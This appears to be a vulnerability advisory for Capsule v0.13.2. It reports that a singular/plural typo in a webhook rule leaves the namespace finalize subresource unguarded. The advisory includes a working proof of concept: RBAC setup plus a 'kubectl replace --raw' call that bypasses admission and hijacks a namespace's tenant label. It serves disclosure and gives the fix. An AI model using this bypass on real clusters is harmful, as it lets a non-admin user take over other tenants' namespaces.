Summary Capsule v0.13.2 webhook rules contain "namespace/finalize" (singular) instead of "namespaces/finalize" (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. Details PUT to "/api/v1/namespaces/<ns>/finalize" has resource=namespaces (plural). The singular rule never matches. "matchPolicy: Equivalent" does not compensate. PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): "kubectl label --as=alice" = DENIED (control). "kubectl replace --raw /finalize --as=alice" = 200 OK (bypass). Tenant label changed. Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: "namespace/finalize" -> "namespaces/finalize". The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but "charts/capsule/templates/configuration.yaml" line 105 contains a singular/plural typo: "namespace/finalize" instead of "namespaces/finalize". Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent. Details In Kubernetes admission webhooks, "rules.resources" matches against the plural resource name. A PUT to "/api/v1/namespaces/<ns>/finalize" has "resource=namespaces" (plural). The rule "namespace/finalize" (singular) never matches any real API request. The "matchPolicy: Equivalent" setting does NOT compensate (it handles API group/version variations, not resource name typos). PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice Error: admission webhook denied Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice 200 OK - tenant label changed Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: "namespace/finalize" -> "namespaces/finalize".